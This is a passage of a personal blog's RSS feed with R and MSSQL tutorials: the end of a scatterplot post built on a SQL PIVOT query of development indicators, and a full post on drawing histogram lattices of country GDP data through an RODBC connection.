[99941] AS 'Population growth (annual %)--WDI-2009',
[100041] AS 'Population, total--WDI-2009'
FROM
(
SELECT DISTINCT CountryID, Country, Year, IndicatorID, IndValue
FROM [Time Series Data]
WHERE (
((IndicatorID) = 96741) OR
((IndicatorID) = 96841) OR
((IndicatorID) = 99941) OR
((IndicatorID) = 100041))
AND
(((CountryID) = 4118) OR
((CountryID) = 4125) OR
((CountryID) = 4129) OR
((CountryID) = 4134) OR
((CountryID) = 4141) OR
((CountryID) = 4145) OR
((CountryID) = 4164) OR
((CountryID) = 4186) OR
((CountryID) = 4213) OR
((CountryID) = 4327) OR
((CountryID) = 4219) OR
((CountryID) = 4221) OR
((CountryID) = 4227) OR
((CountryID) = 4230) OR
((CountryID) = 4243) OR
((CountryID) = 4326) OR
((CountryID) = 4268) OR
((CountryID) = 4272) OR
((CountryID) = 4273) OR
((CountryID) = 4325) OR
((CountryID) = 4300) OR
((CountryID) = 4308) OR
((CountryID) = 4309) OR
((CountryID) = 4311) OR
((CountryID) = 4316))
AND
(NOT (Year IS NULL)) AND (Year &gt;= 1960) AND
(Year &lt;= 2007))
ps
PIVOT (
MAX(IndValue)
FOR IndicatorID IN ([96741], [96841], [99941], [100041] ) )
AS
pvt
order by Country, Year&quot;)

#close connection
odbcClose(channel)

#Plot charts
plot(myData[3:6], col=&quot;orange&quot;, main=&quot;Select Indicators for Europe and Central Asia&quot;)
</pre>
<p>Here is the result</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2009/11/Scatterplot.jpg"><img class="alignnone size-full wp-image-414" title="Scatterplot" src="http://eric.ness.net/wp-content/uploads/2009/11/Scatterplot.jpg" alt="Scatterplot" width="577" height="400" /></a></p>
<div class="shr-publisher-412"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/scatterplots-using-r-and-mssql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Histogram Lattices Using R and MSSQL</title>
		<link>http://eric.ness.net/archives/histogram-lattices-using-r-and-mssql/</link>
		<comments>http://eric.ness.net/archives/histogram-lattices-using-r-and-mssql/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 19:22:41 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Statistics]]></category>
		<category><![CDATA[Visualization]]></category>
		<category><![CDATA[R]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=402</guid>
		<description><![CDATA[Creating Histogram Lattices Using R and MSSQL]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fhistogram-lattices-using-r-and-mssql%2F' data-shr_title='Histogram+Lattices+Using+R+and+MSSQL'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fhistogram-lattices-using-r-and-mssql%2F' data-shr_title='Histogram+Lattices+Using+R+and+MSSQL'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2009/11/histogramlattice.jpg"><img class="alignnone size-full wp-image-405" title="histogramlattice" src="http://eric.ness.net/wp-content/uploads/2009/11/histogramlattice.jpg" alt="" width="577" height="360" /></a></p>
<p>After getting Joseph Adler&#8217;s book &#8220;<a href="http://oreilly.com/catalog/9780596009427">Baseball Hacks</a>&#8221; I&#8217;ve been wanting to get in to <a href="http://www.r-project.org/">R</a>. R is simply an amazing open source statistics/graphing application. For this example we are going pull data from a MSSQL database and make a histogram lattice of a couple of countries.</p>
<p>First, I pulled the data from <a href="http://healthsystems2020.healthsystemsdatabase.org/datasets/timeseriesdataset.aspx">HealthSystems2020</a> time series database and imported the data in to MSSQL. I did some minor touch ups to the database giving the indicator an id etc. The second thing you need to do is create an ODBC connection for your database here is a fairly good <a href="http://www.devasp.com/samples/dsn_sql.asp">tutorial</a>. In this example I called my ODBC DSN &#8220;HealthDB&#8221;. Also make sure you adjust you sql query so that they are pulling the correct names/values.</p>
<p>Finally, here is the code:</p>
<pre class="brush: jscript; title: ; notranslate">

# includes
library(RODBC)
library(lattice)

# create connection
channel &lt;- odbcConnect(&quot;HealthDB&quot;)

# query database
myData &lt;- sqlQuery(channel, &quot;SELECT Country, IndValue
FROM         [YOURTABLE]
WHERE     (id = 96841) AND (
(Country = 'Afghanistan') OR
(Country = 'Bangladesh') OR
(Country = 'Bhutan') OR
(Country = 'India') OR
(Country = 'Maldives') OR
(Country = 'Nepal') OR
(Country = 'Pakistan') OR
(Country = 'China') OR
(Country = 'Indonesia') OR
(Country = 'Sri Lanka'))&quot;)

#close connection
odbcClose(channel)

#create histogram
histogram(~ myData[,3] | myData[,1], type=&quot;count&quot;, col=&quot;red&quot;, main = &quot;GDP per capita (constant 2000 US$)&quot;, xlab=&quot;Country&quot;)
</pre>
<p>And here is the result:<br />
<a href="http://eric.ness.net/wp-content/uploads/2009/11/histogram.jpg"><img class="alignnone size-full wp-image-403" title="histogram" src="http://eric.ness.net/wp-content/uploads/2009/11/histogram.jpg" alt="histogram" width="577" height="376" /></a></p>
<div class="shr-publisher-402"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/histogram-lattices-using-r-and-mssql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

